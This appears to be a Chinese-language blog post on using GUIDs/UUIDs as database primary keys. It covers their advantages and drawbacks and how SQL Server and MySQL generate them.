Guid:指在一台机器上生成的数字,它保证对在同一时空中的所有机器都是唯一的,其算法是通过以太网卡地址、纳秒级时间、芯片ID码和许多可能的数字生成。其格式为:04755396-9A29-4B8C-A38D-00042C1B9028。

GUID字符串作为主键的优点如下:

  • 在扩展数据库的时候,当你有多个数据库包含同一段(片)数据时,比如一个顾客集,使用 GUID 意味着该 ID 在所有的数据库中是唯一标识的,而不是仅仅本数据库唯一。这保障了跨数据库迁移数据的安全。又比如,我曾在项目中把多个数据库分片合并到一个 Hadoop 集群中,也没有产生键的冲突。

  • 在插入数据之前,你就能知道这个主键的值,这避免了一轮的数据查找,并且简化了事务的逻辑,即在你插入子记录之前,因为需要使用这个主键作为一个外键,你必须要知道这个主键的值。

  • GUID 不会透露数据的信息,因此被用在 URL 中也比自增整数更安全。比如,我是编号 12345678 号顾客,那么人们就会猜测编号为 12345677 和 12345679 的顾客的存在,这就提供了一种攻击向量。(但是后面我们会看到一个更好的替代品)

GUID字符串作为主键的缺点如下:

  • GUID 值较长,不容易记忆和输入,而且这个值是随机、无顺序的。
  • GUID 的值有 16 个字节,与其它那些诸如 4 字节的整数相比要相对大一些。这意味着如果在数据库中使用 uniqueidentifier 键,可能会带来两方面的消极影响:存储空间增大;索引时间较慢。

主流数据库中GUID实现

MSSQL

在MS Sql 数据库中可以在建立表结构是指定字段类型为uniqueidentifier,并且其默认值可以使用NewID()来生成唯一的Guid(全局唯一标识符).

使用NewID生成的比较随机,如果是SQL 2005可以使用NewSequentialid()来顺序生成,在此为了兼顾使用SQL 2000使用了NewID().

MySQL

MySQL中使用UUID()函数生成主键,UUID()函数将生成格式为xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx (8-4-4-4-12)的字符串,包含32个16进制数字,以连字号分为五段。示例:550e8400-e29b-41d4-a716-446655440000。

参考链接

  1. 数据库表主键设计原则,by 乐哉悠哉.
  2. [MySQL]数据库主键设计之思考,by 林老师带你学编程.
  3. 如何设计数据库的主键,by Veda 原型.
  4. [译] 把 UUID 或者 GUID 作为主键?你得小心啦!,by zaraguo.
  5. MySQL中使用UUID()函数生成主键,by shiyonghm.
上一页1…363738…55下一页

Jack Huang

546 日志
70 标签
© 2026 Jack Huang
由 Hexo 强力驱动
|
主题 — NexT.Muse